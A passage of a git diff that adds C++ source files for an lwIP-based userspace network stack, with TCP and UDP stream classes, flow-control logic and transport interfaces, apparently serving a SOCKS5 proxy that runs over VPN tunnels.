LOG_ERROR(kMod, "{}: overlapping async_read_some on {}", + netif_ ? netif_->label() : "?", + remote_.to_string()); + complete_read_with(std::move(h), make_error_code(Error::Internal), 0); + return; + } + if (buf.size() == 0) { + complete_read_with(std::move(h), {}, 0); + return; + } + read_buf_ = buf; + read_h_ = std::move(h); + pump_reader(); +} + +void LwipTcpStream::pump_reader() { + if (!read_h_) return; + + if (!queue_.empty()) { + auto *dst = static_cast(read_buf_.data()); + const size_t want = read_buf_.size(); + size_t copied = 0; + + while (copied < want && !queue_.empty()) { + pbuf *p = queue_.front(); + const size_t avail = p->tot_len - queue_offset_; + const size_t take = std::min(avail, want - copied); + pbuf_copy_partial(p, dst + copied, static_cast(take), + static_cast(queue_offset_)); + copied += take; + queue_offset_ += take; + if (queue_offset_ >= p->tot_len) { + queue_.pop_front(); + queue_offset_ = 0; + pbuf_free(p); + } + } + queued_bytes_ -= copied; + + // Now, and only now, does the window reopen -- by exactly what was + // consumed. This is the backpressure that keeps a slow SOCKS5 client from + // turning into unbounded heap on our side. + if (pcb_ != nullptr && copied > 0) recved(pcb_, copied); + + complete_read({}, copied); + return; + } + + if (fatal_) { + complete_read(fatal_, 0); + return; + } + if (rx_eof_) { + complete_read(asio::error::eof, 0); + return; + } + // Nothing yet; s_recv will call back in. +} + +void LwipTcpStream::complete_read(const std::error_code &ec, size_t n) { + if (!read_h_) return; + auto h = std::move(read_h_); + read_h_ = nullptr; + read_buf_ = asio::mutable_buffer(); + complete_read_with(std::move(h), ec, n); +} + +void LwipTcpStream::complete_read_with(ReadHandler h, const std::error_code &ec, + size_t n) { + asio::post(cb_ex_, [h = std::move(h), ec, n] { h(ec, n); }); +} + +// --------------------------------------------------------------------------- +// Send +// --------------------------------------------------------------------------- + +void LwipTcpStream::async_write(asio::const_buffer buf, WriteHandler h) { + auto self = shared_from_this(); + asio::post(strand_, + [self, buf, h = std::move(h)]() mutable { + self->do_write(buf, std::move(h)); + }); +} + +void LwipTcpStream::do_write(asio::const_buffer buf, WriteHandler h) { + if (write_h_) { + LOG_ERROR(kMod, "{}: overlapping async_write on {}", + netif_ ? netif_->label() : "?", + remote_.to_string()); + complete_write_with(std::move(h), make_error_code(Error::Internal), 0); + return; + } + if (fatal_) { + complete_write_with(std::move(h), fatal_, 0); + return; + } + if (pcb_ == nullptr || tx_shutdown_) { + complete_write_with(std::move(h), + std::make_error_code(std::errc::broken_pipe), 0); + return; + } + if (buf.size() == 0) { + complete_write_with(std::move(h), {}, 0); + return; + } + + write_data_ = static_cast(buf.data()); + write_len_ = buf.size(); + write_done_ = 0; + write_h_ = std::move(h); + pump_writer(); +} + +void LwipTcpStream::pump_writer() { + if (!write_h_ || pcb_ == nullptr) return; + + bool wrote_anything = false; + while (write_done_ < write_len_) { + const size_t remaining = write_len_ - write_done_; + const u16_t room = tcp_sndbuf(pcb_); + if (room == 0) break; + + const u16_t chunk = + static_cast(std::min(remaining, room)); + // TCP_WRITE_FLAG_COPY is mandatory, not an optimization choice: lwIP holds + // the bytes until they are acknowledged, which is strictly after our + // completion handler runs and therefore after the caller is entitled to + // reuse the buffer. + u8_t flags = TCP_WRITE_FLAG_COPY; + if (chunk < remaining) flags |= TCP_WRITE_FLAG_MORE; + + const err_t err = tcp_write(pcb_, write_data_ + write_done_, chunk, flags); + if (err == ERR_MEM) break; // retried from s_sent / s_poll + if (err != ERR_OK) { + fail(lwip_error(err)); + return; + } + write_done_ += chunk; + wrote_anything = true; + } + + if (wrote_anything) { + const err_t err = tcp_output(pcb_); + if (err != ERR_OK && err != ERR_MEM) { + fail(lwip_error(err)); + return; + } + } + + if (write_done_ >= write_len_) { + tx_.fetch_add(write_len_, std::memory_order_relaxed); + complete_write({}, write_len_); + } +} + +void LwipTcpStream::complete_write(const std::error_code &ec, size_t n) { + if (!write_h_) return; + auto h = std::move(write_h_); + write_h_ = nullptr; + write_data_ = nullptr; + write_len_ = 0; + write_done_ = 0; + complete_write_with(std::move(h), ec, n); +} + +void LwipTcpStream::complete_write_with(WriteHandler h, + const std::error_code &ec, size_t n) { + asio::post(cb_ex_, [h = std::move(h), ec, n] { h(ec, n); }); +} + +int8_t LwipTcpStream::s_sent(void *arg, tcp_pcb *, uint16_t) { + auto *self = static_cast(arg); + if (self == nullptr) return ERR_OK; + self->pump_writer(); + self->retry_shutdown(); + return ERR_OK; +} + +int8_t LwipTcpStream::s_poll(void *arg, tcp_pcb *) { + auto *self = static_cast(arg); + if (self == nullptr) return ERR_OK; + // The safety net: if an ACK went missing, s_sent never fires and a partially + // written buffer would hang until the idle timeout. One retry per second + // costs nothing and removes a whole class of stall. + self->pump_writer(); + self->retry_shutdown(); + return ERR_OK; +} + +// --------------------------------------------------------------------------- +// Shutdown / teardown +// --------------------------------------------------------------------------- + +void LwipTcpStream::shutdown_send() { + auto self = shared_from_this(); + asio::post(strand_, [self] { self->do_shutdown_send(); }); +} + +void LwipTcpStream::do_shutdown_send() { + if (tx_shutdown_ || pcb_ == nullptr) return; + tx_shutdown_ = true; + tx_shutdown_pending_ = true; + retry_shutdown(); +} + +void LwipTcpStream::retry_shutdown() { + if (!tx_shutdown_pending_ || pcb_ == nullptr) return; + // Only once the caller's last write has drained: sending FIN with bytes still + // queued in *our* buffer would lose them. + if (write_h_ && write_done_ < write_len_) return; + + const err_t err = tcp_shutdown(pcb_, 0, 1); + if (err == ERR_MEM) return; // no segment available; try again from poll + tx_shutdown_pending_ = false; + if (err != ERR_OK) fail(lwip_error(err)); +} + +void LwipTcpStream::close() { + auto self = shared_from_this(); + asio::post(strand_, [self] { self->do_close(false); }); +} + +void LwipTcpStream::do_close(bool graceful_hint) { + if (closing_) return; + closing_ = true; + open_.store(false, std::memory_order_release); + if (counted_open_ && netif_) { + netif_->note_tcp_closed(); + counted_open_ = false; + } + // Graceful only when there is genuinely nothing left in flight. Anything else + // gets a RST, which is the honest signal that we are abandoning the + // connection rather than pretending it ended cleanly. + const bool graceful = + graceful_hint || (rx_eof_ && queue_.empty() && !write_h_); + detach_pcb(graceful); + drop_queued(); + + const auto ec = make_error_code(Error::Cancelled); + complete_read(ec, 0); + complete_write(ec, write_done_); + if (connecting_) finish_connect(ec); +} + +void LwipTcpStream::abort_from_netif(const std::error_code &reason) { + if (!closing_) { + closing_ = true; + open_.store(false, std::memory_order_release); + if (counted_open_ && netif_) { + netif_->note_tcp_closed(); + counted_open_ = false; + } + // The netif is being removed out from under the PCB, so there is no + // graceful option: lwIP must not be left holding a pcb bound to a netif + // that no longer exists. + detach_pcb(/*graceful=*/false); + drop_queued(); + fatal_ = reason; + complete_read(reason, 0); + complete_write(reason, write_done_); + if (connecting_) finish_connect(reason); + } + timer_.cancel(); + // Release the netif so it can finish being destroyed; the caller may still + // hold this stream, which from here on reports a closed connection. + netif_.reset(); +} + +void LwipTcpStream::fail(const std::error_code &ec) { + if (fatal_) return; + fatal_ = ec; + open_.store(false, std::memory_order_release); + if (counted_open_ && netif_) { + netif_->note_tcp_closed(); + counted_open_ = false; + } + + if (connecting_) { + if (netif_) netif_->note_tcp_opened(false); + detach_pcb(/*graceful=*/false); + finish_connect(ec); + return; + } + // Data already received stays readable: a reset after a complete response is + // common, and discarding what we hold would corrupt it. The error surfaces + // once the queue is drained. + if (read_h_ && queue_.empty()) complete_read(ec, 0); + complete_write(ec, write_done_); +} + +void LwipTcpStream::s_err(void *arg, int8_t err) { + auto *self = static_cast(arg); + if (self == nullptr) return; + // lwIP has already freed the pcb. Touching it here is a use-after-free, which + // is why this is the one path that clears pcb_ without detaching. + self->pcb_ = nullptr; + std::error_code ec = lwip_error(err); + if (err == ERR_RST && !self->connecting_) + ec = std::make_error_code(std::errc::connection_reset); + LOG_TRACE(kMod, "{}: connection to {} failed: {}", + self->netif_ ? self->netif_->label() : "?", + self->remote_.to_string(), ec.message()); + self->fail(ec); +} + +void LwipTcpStream::detach_pcb(bool graceful) { + if (pcb_ == nullptr) return; + tcp_pcb *p = pcb_; + pcb_ = nullptr; + + // Clear every callback before letting go: lwIP may keep the pcb alive through + // FIN_WAIT/TIME_WAIT, and a callback arriving after we are gone would be a + // use-after-free. + tcp_arg(p, nullptr); + tcp_recv(p, nullptr); + tcp_sent(p, nullptr); + tcp_err(p, nullptr); + tcp_poll(p, nullptr, 0); + + if (graceful) { + if (tcp_close(p) != ERR_OK) tcp_abort(p); + } else { + tcp_abort(p); + } +} + +void LwipTcpStream::drop_queued() { + for (pbuf *p : queue_) pbuf_free(p); + queue_.clear(); + queue_offset_ = 0; + queued_bytes_ = 0; +} + +Endpoint LwipTcpStream::local_endpoint() const { return local_; } +Endpoint LwipTcpStream::remote_endpoint() const { return remote_; } + +} // namespace ovg::netstack diff --git a/src/netstack/lwip_tcp.h b/src/netstack/lwip_tcp.h new file mode 100644 index 0000000..15c9c74 --- /dev/null +++ b/src/netstack/lwip_tcp.h @@ -0,0 +1,158 @@ +// TcpStream over an lwIP PCB. +// +// Flow control is the whole point of this file, so it is worth being explicit +// about the two halves. +// +// Receive: lwIP hands us a pbuf and asks us to acknowledge it. We queue it and +// say nothing. The window only reopens when the SOCKS5 side has actually copied +// bytes out and we call tcp_recved() for exactly that many. A slow client +// therefore closes the window on the server, and the backlog lives in the +// server's send buffer rather than in our heap. The obvious alternative -- +// acknowledge on arrival, buffer internally -- turns 1000 slow clients into +// unbounded memory growth, which is how proxies die. +// +// Send: tcp_write() takes what fits in tcp_sndbuf() and no more. The remainder +// waits for the "sent" callback (peer ACKed, buffer freed) and is retried +// there, and again from the poll callback so a lost ACK cannot wedge a write +// forever. async_write completes when the last byte has been *accepted by +// lwIP*, not when it has been acknowledged -- matching what asio's +// async_write does over a kernel socket. +// +// Everything below runs on Stack::strand(). The public methods post to it; the +// completion handlers post back out to the caller's executor. +#pragma once + +#include + +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "netstack/lwip_stack.h" +#include "netstack/stream.h" + +struct tcp_pcb; +struct pbuf; + +namespace ovg::netstack { + +class LwipTcpStream final : public TcpStream, + public Closable, + public std::enable_shared_from_this { + public: + // Destruction is posted to the strand (see stream.h), which is what makes it + // safe for lwIP callbacks to hold a raw `this`: a callback and the destructor + // can never overlap. + static std::shared_ptr create(std::shared_ptr netif, + asio::any_io_executor cb_ex); + ~LwipTcpStream() override; + + LwipTcpStream(const LwipTcpStream &) = delete; + LwipTcpStream &operator=(const LwipTcpStream &) = delete; + + // TcpStream + void async_read_some(asio::mutable_buffer buf, ReadHandler h) override; + void async_write(asio::const_buffer buf, WriteHandler h) override; + void shutdown_send() override; + void close() override; + bool is_open() const override { return open_.load(std::memory_order_acquire); } + Endpoint local_endpoint() const override; + Endpoint remote_endpoint() const override; + uint64_t bytes_written() const override { + return tx_.load(std::memory_order_relaxed); + } + uint64_t bytes_read() const override { + return rx_.load(std::memory_order_relaxed); + } + + // Closable + void abort_from_netif(const std::error_code &reason) override; + + private: + friend class Netif; + + LwipTcpStream(std::shared_ptr netif, asio::any_io_executor cb_ex); + + using ConnectHandler = std::function; + + // Strand-only. Called by Netif::async_connect_tcp. + void start_connect(const IpAddress &addr, uint16_t port, Millis timeout, + ConnectHandler h); + + // lwIP callbacks. `arg` is the raw stream pointer. + static int8_t s_connected(void *arg, tcp_pcb *pcb, int8_t err); + static int8_t s_recv(void *arg, tcp_pcb *pcb, pbuf *p, int8_t err); + static int8_t s_sent(void *arg, tcp_pcb *pcb, uint16_t len); + static int8_t s_poll(void *arg, tcp_pcb *pcb); + static void s_err(void *arg, int8_t err); + + // Strand-only internals. + void do_read(asio::mutable_buffer buf, ReadHandler h); + void do_write(asio::const_buffer buf, WriteHandler h); + void do_shutdown_send(); + void do_close(bool graceful_hint); + void pump_reader(); + void pump_writer(); + void fail(const std::error_code &ec); + void detach_pcb(bool graceful); + void drop_queued(); + void finish_connect(const std::error_code &ec); + void retry_shutdown(); + + // Complete the *pending* operation, clearing its slot first so that a handler + // which immediately issues the next read/write does not see it still full. + void complete_read(const std::error_code &ec, size_t n); + void complete_write(const std::error_code &ec, size_t n); + + // Post an arbitrary handler to cb_ex_. Used for the paths that reject an + // operation outright, where there is no pending slot to clear. + void complete_read_with(ReadHandler h, const std::error_code &ec, size_t n); + void complete_write_with(WriteHandler h, const std::error_code &ec, size_t n); + + // netif_ is released by abort_from_netif() while the caller may still hold + // this stream, so nothing outside the strand may reach through it. The strand + // is therefore kept by value: it belongs to the io_context, not to the netif, + // and stays usable for as long as this object can be called at all. + std::shared_ptr netif_; + Strand strand_; + asio::any_io_executor cb_ex_; + asio::steady_timer timer_; + + tcp_pcb *pcb_ = nullptr; + + // Received but not yet copied out. Owned: freed after the copy. + std::deque queue_; + size_t queue_offset_ = 0; // consumed bytes in queue_.front() + size_t queued_bytes_ = 0; + + bool rx_eof_ = false; + bool tx_shutdown_ = false; + bool tx_shutdown_pending_ = false; // tcp_shutdown returned ERR_MEM; retry + bool closing_ = false; + std::error_code fatal_; + + ConnectHandler connect_h_; + bool connecting_ = false; + + ReadHandler read_h_; + asio::mutable_buffer read_buf_; + + WriteHandler write_h_; + const uint8_t *write_data_ = nullptr; + size_t write_len_ = 0; + size_t write_done_ = 0; + + // Written once on the strand before the stream is handed to the caller. + Endpoint local_; + Endpoint remote_; + + std::atomic open_{false}; + std::atomic tx_{0}; + std::atomic rx_{0}; + bool counted_open_ = false; +}; + +} // namespace ovg::netstack diff --git a/src/netstack/lwip_udp.cpp b/src/netstack/lwip_udp.cpp new file mode 100644 index 0000000..ee52b10 --- /dev/null +++ b/src/netstack/lwip_udp.cpp @@ -0,0 +1,304 @@ +#include "netstack/lwip_udp.h" + +#include +#include +#include +#include + +#include "common/error.h" +#include "common/logging.h" + +extern "C" { +#include "lwip/ip_addr.h" +#include "lwip/netif.h" +#include "lwip/pbuf.h" +#include "lwip/udp.h" +} + +// The forward declaration in lwip_udp.h that lets s_recv match udp_recv_fn +// without a cast. If someone ever turns LWIP_IPV6 on, this fires here rather +// than as a confusing incompatible-function-pointer error. +static_assert(std::is_same_v, + "netstack is IPv4-only; see netstack/lwip_port/lwipopts.h"); + +namespace ovg::netstack { +namespace { + +constexpr const char *kMod = "netstack"; + +// Datagrams held for a reader that has not asked yet. Sized for the two real +// consumers: a resolver has at most a handful of queries in flight, and a +// SOCKS5 UDP association that falls this far behind is losing traffic to its +// own client anyway. Beyond this we tail-drop -- see the header. +constexpr size_t kMaxQueued = 64; + +} // namespace + +std::shared_ptr LwipUdpSocket::create( + std::shared_ptr netif, asio::any_io_executor cb_ex) { + Strand strand = netif->stack().strand(); + return std::shared_ptr( + new LwipUdpSocket(std::move(netif), std::move(cb_ex)), + detail::StrandDeleter{strand}); +} + +LwipUdpSocket::LwipUdpSocket(std::shared_ptr netif, + asio::any_io_executor cb_ex) + : netif_(std::move(netif)), + strand_(netif_->stack().strand()), + cb_ex_(std::move(cb_ex)) {} + +LwipUdpSocket::~LwipUdpSocket() { + // On the strand (StrandDeleter), so s_recv cannot be running against us. + if (counted_ && netif_) netif_->note_udp(-1); + if (pcb_ != nullptr) { + udp_recv(pcb_, nullptr, nullptr); + udp_remove(pcb_); + pcb_ = nullptr; + } + drop_queued(); + if (recv_h_) { + const auto ec = make_error_code(Error::Cancelled); + asio::post(cb_ex_, [h = std::move(recv_h_), ec] { h(ec, 0, Endpoint{}); }); + } +} + +std::error_code LwipUdpSocket::bind_ephemeral() { + struct netif *nif = netif_->lwip_netif(); + if (nif == nullptr) return make_error_code(Error::EgressGone); + + pcb_ = udp_new_ip_type(IPADDR_TYPE_V4); + if (pcb_ == nullptr) return make_error_code(Error::ResourceExhausted); + + // Same pin as the TCP path, and for the same reason -- except that here it + // also drives *inbound* demultiplexing, not just the outbound route. + udp_bind_netif(pcb_, nif); + + ip_addr_t local{}; + ip_addr_set_ip4_u32(&local, lwip_htonl(netif_->address().v4_host_order())); + + // Port 0: lwIP allocates from its ephemeral range. + const err_t err = udp_bind(pcb_, &local, 0); + if (err != ERR_OK) { + udp_remove(pcb_); + pcb_ = nullptr; + return lwip_error(err); + } + + udp_recv(pcb_, &LwipUdpSocket::s_recv, this); + local_ = Endpoint(netif_->address(), pcb_->local_port); + open_.store(true, std::memory_order_release); + netif_->note_udp(+1); + counted_ = true; + + LOG_TRACE(kMod, "{}: udp socket bound to {}", netif_->label(), + local_.to_string()); + return {}; +} + +// --------------------------------------------------------------------------- +// Receive +// --------------------------------------------------------------------------- + +void LwipUdpSocket::s_recv(void *arg, udp_pcb *, pbuf *p, const ip4_addr *addr, + uint16_t port) { + auto *self = static_cast(arg); + if (self == nullptr || p == nullptr) { + if (p != nullptr) pbuf_free(p); + return; + } + IpAddress from; + if (addr != nullptr) from = IpAddress::from_v4(lwip_ntohl(addr->addr)); + self->on_datagram(p, from, port); +} + +void LwipUdpSocket::on_datagram(pbuf *p, const IpAddress &from, uint16_t port) { + if (closing_) { + pbuf_free(p); + return; + } + if (queue_.size() >= kMaxQueued) { + // Tail-drop. Dropping the newest rather than the oldest keeps whatever the + // reader is about to consume, and matches a full SO_RCVBUF. + pbuf_free(p); + const uint64_t n = drops_.fetch_add(1, std::memory_order_relaxed) + 1; + if (n == 1 || n % 256 == 0) { + LOG_WARN(kMod, "{}: udp {} receive queue full, dropped {} datagram(s)", + netif_ ? netif_->label() : "?", local_.to_string(), n); + } + return; + } + queue_.push_back(Datagram{p, Endpoint(from, port)}); + pump_reader(); +} + +void LwipUdpSocket::async_receive_from(asio::mutable_buffer buf, + RecvHandler h) { + auto self = shared_from_this(); + asio::post(strand_, [self, buf, h = std::move(h)]() mutable { + self->do_receive(buf, std::move(h)); + }); +} + +void LwipUdpSocket::do_receive(asio::mutable_buffer buf, RecvHandler h) { + if (recv_h_) { + LOG_ERROR(kMod, "{}: overlapping async_receive_from on {}", + netif_ ? netif_->label() : "?", local_.to_string()); + asio::post(cb_ex_, [h = std::move(h)] { + h(make_error_code(Error::Internal), 0, Endpoint{}); + }); + return; + } + recv_buf_ = buf; + recv_h_ = std::move(h); + pump_reader(); +} + +void LwipUdpSocket::pump_reader() { + if (!recv_h_) return; + + if (!queue_.empty()) { + Datagram d = queue_.front(); + queue_.pop_front(); + + // Truncate like recvfrom(2): the tail of an oversized datagram is lost and + // the caller is told how much it got. Silently returning a short read that + // looks complete would be worse. + const size_t take = std::min(d.buf->tot_len, recv_buf_.size()); + if (take > 0) { + pbuf_copy_partial(d.buf, recv_buf_.data(), static_cast(take), 0); + } + if (d.buf->tot_len > take) { + LOG_TRACE(kMod, "{}: truncated a {}-byte datagram from {} to {}", + netif_ ? netif_->label() : "?", d.buf->tot_len, + d.from.to_string(), take); + } + pbuf_free(d.buf); + complete_recv({}, take, d.from); + return; + } + + if (fatal_) complete_recv(fatal_, 0, Endpoint{}); + // Otherwise wait: s_recv will call back in. +} + +void LwipUdpSocket::complete_recv(const std::error_code &ec, size_t n, + const Endpoint &from) { + if (!recv_h_) return; + auto h = std::move(recv_h_); + recv_h_ = nullptr; + recv_buf_ = asio::mutable_buffer(); + asio::post(cb_ex_, [h = std::move(h), ec, n, from] { h(ec, n, from); }); +} + +// --------------------------------------------------------------------------- +// Send +// --------------------------------------------------------------------------- + +void LwipUdpSocket::async_send_to(asio::const_buffer buf, const Endpoint &to, + SendHandler h) { + auto self = shared_from_this(); + // The bytes are copied into a pbuf on the strand, which is after this call + // returns -- so the buffer has to be captured, not borrowed. Callers of a + // datagram socket send whole messages, so one copy per datagram is the price + // of not requiring them to keep the buffer alive across the hop. + auto data = std::make_shared>( + static_cast(buf.data()), + static_cast(buf.data()) + buf.size()); + asio::post(strand_, + [self, data, to, h = std::move(h)]() mutable { + self->do_send(data->data(), data->size(), to, std::move(h)); + }); +} + +void LwipUdpSocket::do_send(const uint8_t *data, size_t len, Endpoint to, + SendHandler h) { + auto reply = [&](std::error_code ec, size_t n) { + asio::post(cb_ex_, [h = std::move(h), ec, n] { h(ec, n); }); + }; + + if (pcb_ == nullptr || closing_) { + reply(fatal_ ? fatal_ : make_error_code(Error::EgressGone), 0); + return; + } + if (to.is_domain() || !to.address().valid() || !to.address().is_v4()) { + // Names are the resolver's job and IPv6 is refused at the SOCKS5 edge; both + // are programming errors by the time they reach here. + reply(make_error_code(Error::NotSupported), 0); + return; + } + if (len > 0xFFFF - 28) { // IP + UDP headers + reply(std::make_error_code(std::errc::message_size), 0); + return; + } + + pbuf *p = pbuf_alloc(PBUF_TRANSPORT, static_cast(len), PBUF_RAM); + if (p == nullptr) { + reply(make_error_code(Error::ResourceExhausted), 0); + return; + } + if (len > 0) std::memcpy(p->payload, data, len); + + ip_addr_t dst{}; + ip_addr_set_ip4_u32(&dst, lwip_htonl(to.address().v4_host_order())); + + const err_t err = udp_sendto(pcb_, p, &dst, to.port()); + pbuf_free(p); + + if (err != ERR_OK) { + LOG_TRACE(kMod, "{}: udp send to {} failed: {}", + netif_ ? netif_->label() : "?", to.to_string(), + lwip_error(err).message()); + reply(lwip_error(err), 0); + return; + } + reply({}, len); +} + +// --------------------------------------------------------------------------- +// Teardown +// --------------------------------------------------------------------------- + +void LwipUdpSocket::close() { + auto self = shared_from_this(); + asio::post(strand_, [self] { self->do_close(); }); +} + +void LwipUdpSocket::do_close() { + if (closing_) return; + closing_ = true; + open_.store(false, std::memory_order_release); + if (counted_ && netif_) { + netif_->note_udp(-1); + counted_ = false; + } + if (pcb_ != nullptr) { + udp_recv(pcb_, nullptr, nullptr); + udp_remove(pcb_); + pcb_ = nullptr; + } + drop_queued(); + // fatal_ when the egress pulled the rug out, Cancelled when the caller asked + // for this. A UDP receive that ends in Cancelled means "you closed me"; one + // that ends in EgressGone means "retry me on the new tunnel", and the two are + // not interchangeable to anything deciding what to do next. + complete_recv(fatal_ ? fatal_ : make_error_code(Error::Cancelled), 0, + Endpoint{}); +} + +void LwipUdpSocket::abort_from_netif(const std::error_code &reason) { + if (!closing_) { + fatal_ = reason; + do_close(); + } + // Release the netif so it can finish being destroyed; the caller may still + // hold this socket, which from here on reports a closed socket. + netif_.reset(); +} + +void LwipUdpSocket::drop_queued() { + for (auto &d : queue_) pbuf_free(d.buf); + queue_.clear(); +} + +} // namespace ovg::netstack diff --git a/src/netstack/lwip_udp.h b/src/netstack/lwip_udp.h new file mode 100644 index 0000000..49f2e82 --- /dev/null +++ b/src/netstack/lwip_udp.h @@ -0,0 +1,118 @@ +// UdpSocket over an lwIP UDP PCB. Backs SOCKS5 UDP ASSOCIATE and the resolver. +// +// UDP has no flow control, so there is no equivalent of the receive-window +// trick lwip_tcp.h uses: a datagram that arrives with no reader waiting must +// either be buffered or dropped. This queues a small, fixed number and drops +// the newest beyond that, which is what a kernel socket does when SO_RCVBUF +// fills. Dropping is legal for UDP; unbounded growth under a stalled reader is +// not, and with SOCKS5 UDP ASSOCIATE the reader is a network client we do not +// control. +// +// Attribution across two live tunnels is *stronger* here than it is for TCP. +// lwIP matches an inbound datagram against pcb->netif_idx (udp.c: it compares +// against ip_data.current_input_netif), so udp_bind_netif() alone disambiguates +// even when both tunnels were pushed the same address -- unlike TCP, whose +// input path can only key on the destination address. The netif-level +// collision check in Stack::async_attach still applies, because TCP is the +// binding constraint. +// +// Everything below runs on Stack::strand(); handlers are posted to the caller's +// executor. +#pragma once + +#include + +#include +#include +#include +#include +#include + +#include "netstack/lwip_stack.h" +#include "netstack/stream.h" + +struct udp_pcb; +struct pbuf; +// lwIP's ip_addr_t. Spelled out rather than included because with LWIP_IPV6=0 +// -- which lwip_port/lwipopts.h pins, and which lwip_stack.h explains -- it is +// a typedef for exactly this struct, so the callback signature below matches +// udp_recv_fn without a cast. +struct ip4_addr; + +namespace ovg::netstack { + +class LwipUdpSocket final : public UdpSocket, + public Closable, + public std::enable_shared_from_this { + public: + static std::shared_ptr create(std::shared_ptr netif, + asio::any_io_executor cb_ex); + ~LwipUdpSocket() override; + + LwipUdpSocket(const LwipUdpSocket &) = delete; + LwipUdpSocket &operator=(const LwipUdpSocket &) = delete; + + // UdpSocket + void async_receive_from(asio::mutable_buffer buf, RecvHandler h) override; + void async_send_to(asio::const_buffer buf, const Endpoint &to, + SendHandler h) override; + void close() override; + bool is_open() const override { return open_.load(std::memory_order_acquire); } + Endpoint local_endpoint() const override { return local_; } + + // Closable + void abort_from_netif(const std::error_code &reason) override; + + // Datagrams dropped because the receive queue was full. Exposed so the SOCKS5 + // UDP path can report it rather than silently losing traffic. + uint64_t drops() const { return drops_.load(std::memory_order_relaxed); } + + private: + friend class Netif; + + LwipUdpSocket(std::shared_ptr netif, asio::any_io_executor cb_ex); + + // Strand-only. Called by Netif::async_open_udp before the socket is handed + // out; synchronous because there is nothing to wait for. + std::error_code bind_ephemeral(); + + static void s_recv(void *arg, udp_pcb *pcb, pbuf *p, const ip4_addr *addr, + uint16_t port); + + // Strand-only internals. + void do_receive(asio::mutable_buffer buf, RecvHandler h); + void do_send(const uint8_t *data, size_t len, Endpoint to, SendHandler h); + void do_close(); + void on_datagram(pbuf *p, const IpAddress &from, uint16_t port); + void pump_reader(); + void drop_queued(); + void complete_recv(const std::error_code &ec, size_t n, const Endpoint &from); + + struct Datagram { + pbuf *buf = nullptr; + Endpoint from; + }; + + // Kept by value for the same reason as in lwip_tcp.h: abort_from_netif() + // releases netif_ while the caller may still hold this socket, so the strand + // cannot be reached through it. + std::shared_ptr netif_; + Strand strand_; + asio::any_io_executor cb_ex_; + + udp_pcb *pcb_ = nullptr; + std::deque queue_; + + RecvHandler recv_h_; + asio::mutable_buffer recv_buf_; + + Endpoint local_; + bool closing_ = false; + bool counted_ = false; + std::error_code fatal_; + + std::atomic open_{false}; + std::atomic drops_{0}; +}; + +} // namespace ovg::netstack diff --git a/src/netstack/packet_link.h b/src/netstack/packet_link.h new file mode 100644 index 0000000..008e98a --- /dev/null +++ b/src/netstack/packet_link.h @@ -0,0 +1,49 @@ +// What sits underneath a netif: anything that moves whole IP packets. +// +// This interface is the reason netstack has no dependency on ovpn. The tunnel +// case is one end of a socketpair fed by openvpn3 (ovpn/packet_pipe.h, adapted +// in egress/tunnel_egress.cpp), but the netstack only ever sees "something that +// takes an IP packet and eventually hands one back". Tests use a loopback +// implementation and never start a VPN. +// +// Framing: one call, one complete IP packet, no length prefix and no partial +// packets. The socketpair backing the real implementation is SOCK_DGRAM +// precisely so that this holds (docs/FEASIBILITY.md 2.2). +#pragma once + +#include + +#include +#include +#include + +namespace ovg::netstack { + +class PacketLink { + public: + using RecvHandler = std::function; + + virtual ~PacketLink() = default; + + // Writes one packet. Returns false if it was dropped -- a full transmit queue + // is normal under congestion and is not an error: IP is allowed to lose + // packets and TCP above us is built to notice. Must not block. + virtual bool send_packet(const void *data, size_t len) = 0; + + // Reads one packet. Exactly one may be outstanding. The handler is invoked + // through `ex` so the netstack can keep all lwIP work on its strand. + virtual void async_receive(asio::mutable_buffer buf, + const asio::any_io_executor &ex, RecvHandler h) = 0; + + // Cancels a pending receive; its handler completes with operation_aborted. + virtual void cancel() = 0; + + virtual bool is_open() const = 0; + + // Largest packet this link will carry. Used to size the receive buffer; a + // datagram larger than the buffer is silently truncated by the kernel, so + // this must not be an underestimate. + virtual size_t max_packet_size() const = 0; +}; + +} // namespace ovg::netstack diff --git a/src/netstack/stream.h b/src/netstack/stream.h new file mode 100644 index 0000000..4221dbc --- /dev/null +++ b/src/netstack/stream.h @@ -0,0 +1,128 @@ +// Transport abstractions the proxy layer programs against. +// +// Two implementations exist: one over lwIP inside a VPN tunnel (lwip_tcp.h, +// lwip_udp.h) and one over host sockets (egress/direct_egress.h). Nothing above +// this header knows which it has, which is what lets the SOCKS5 layer be tested +// without a VPN and what makes a future stack swap (docs/FEASIBILITY.md 4.2) a +// contained change. +// +// The shape is deliberately asio's: completion handlers taking +// (std::error_code, size_t), one outstanding operation per direction, buffers +// owned by the caller and required to stay valid until the handler runs. Making +// it look like anything else would mean every call site translating between two +// conventions, and that is where lifetime bugs come from. +// +// Threading. Implementations may run their protocol work on a private executor +// (lwIP does -- see lwip_stack.h). Every public method here is safe to call +// from any thread, and every completion handler is dispatched on the executor +// the stream was created with. Callers therefore see a single-threaded world. +#pragma once + +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "common/endpoint.h" + +namespace ovg::netstack { + +// A reliable, ordered byte stream to a remote host. +// +// Destruction is equivalent to close(): dropping the last reference aborts the +// connection and fails any pending operation with ovg::Error::Cancelled. That +// makes leaking a stream impossible, at the cost of requiring callers to keep a +// reference for as long as they want the connection. +class TcpStream { + public: + using ReadHandler = std::function; + using WriteHandler = std::function; + + virtual ~TcpStream() = default; + + // Reads at least one byte. On end-of-stream the handler gets + // (asio::error::eof, 0) -- note that this is not an error condition: the + // peer half-closed and we may still have data to send. At most one read may + // be outstanding; a second call while one is pending is a programming error + // and fails with ovg::Error::Internal. + virtual void async_read_some(asio::mutable_buffer buf, ReadHandler h) = 0; + + // Writes the whole buffer. The handler runs once every byte has been accepted + // by the transport's send buffer -- not once it has been acknowledged. At most + // one write may be outstanding. + virtual void async_write(asio::const_buffer buf, WriteHandler h) = 0; + + // Sends FIN, leaving the receive direction open. This is the half-close a + // proxy must propagate: a client that finished its request and is waiting for + // a response has shut down exactly one direction, and closing both would + // truncate the response. + virtual void shutdown_send() = 0; + + // Immediate teardown (RST if data is in flight). Idempotent. Pending handlers + // fail with ovg::Error::Cancelled. + virtual void close() = 0; + + virtual bool is_open() const = 0; + + // Best-effort; empty before the connection is established. + virtual Endpoint local_endpoint() const = 0; + virtual Endpoint remote_endpoint() const = 0; + + // Bytes handed to / received from the transport since creation. Used by the + // switch controller to tell an untouched session (safely re-homeable onto a + // new node) from one carrying stream state (not re-homeable -- see + // docs/FEASIBILITY.md 1.1). + virtual uint64_t bytes_written() const = 0; + virtual uint64_t bytes_read() const = 0; +}; + +// A 